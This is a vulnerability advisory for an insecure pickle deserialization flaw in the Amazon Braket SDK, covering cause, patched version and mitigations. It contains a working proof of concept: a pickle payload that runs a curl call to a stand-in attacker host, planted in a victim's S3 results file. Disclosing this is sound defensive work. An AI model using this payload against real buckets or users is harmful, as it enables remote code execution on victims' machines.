CVE-2026-9291: amazon-braket-sdk Insecure Deserialization via pickle.loads()
A user with write access to an Amazon Braket job output S3 bucket can plant a malicious results file that causes the SDK to run arbitrary code on the victim's machine when job results are retrieved.

The problem
The `deserialize_values()` function in `braket/jobs/serialization.py` reads the `dataFormat` field directly from the job results JSON stored in S3 and uses it to decide whether to call `pickle.loads()` on the payload values. No validation checks that the format matches what the job was originally configured to produce.
Any principal with `s3:PutObject` on the victim's Braket job output bucket can overwrite `results.json`, set `dataFormat` to `pickled_v4`, and embed a base64-encoded malicious pickle blob. When the victim later calls `job.result()`, `load_job_result()`, or `load_job_checkpoint()`, the SDK deserializes the attacker-controlled data, executing arbitrary code with the victim's OS-level permissions.
Proof of concept
# 1. Generate the malicious pickle payload
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ("curl https://attacker.example.com/pwned",))
pickle_bytes = pickle.dumps(RCE(), protocol=4)
b64_payload = base64.b64encode(pickle_bytes).decode()
# 2. Craft the malicious results.json and upload it to the victim's S3 bucket
import json, boto3
malicious_result = {
"braketSchemaHeader": {
"name": "braket.jobs.job_checkpoint_data",
"version": "1"
},
"dataDictionary": {
"result": b64_payload
},
"dataFormat": "pickled_v4"
}
s3 = boto3.client("s3")
s3.put_object(
Bucket="amazon-braket-output-<victim-account-id>",
Key="jobs/<job-id>/data/output/results.json",
Body=json.dumps(malicious_result)
)
# 3. When the victim calls job.result() or load_job_result(), pickle.loads()
# executes the payload automatically. No further interaction needed.The root cause is that `deserialize_values()` treated the attacker-controlled `dataFormat` field from the S3 JSON file as a trusted instruction, branching into `pickle.loads(base64.b64decode(value))` whenever it saw `pickled_v4`. Pickle deserialization in Python executes arbitrary bytecode; there is no safe way to restrict what a pickle blob can do.
The patch (v1.117.0, release title: "Disable pickle deserialization by default for security") removes or gates the pickle branch so that the SDK no longer calls `pickle.loads()` on data read from S3 by default. This is a textbook CWE-502 (Deserialization of Untrusted Data) instance: the format selector came from the same untrusted source as the data itself.
The fix
Upgrade to `amazon-braket-sdk >= 1.117.0`. Run: `pip install --upgrade amazon-braket-sdk`. If immediate upgrade is not possible: (1) restrict the Braket job output S3 bucket policy so only trusted principals hold `s3:PutObject`; (2) inspect the `dataFormat` field in `results.json` before calling `job.result()` and reject any value of `pickled_v4` your workflow did not explicitly set.
Reported by AWS Security.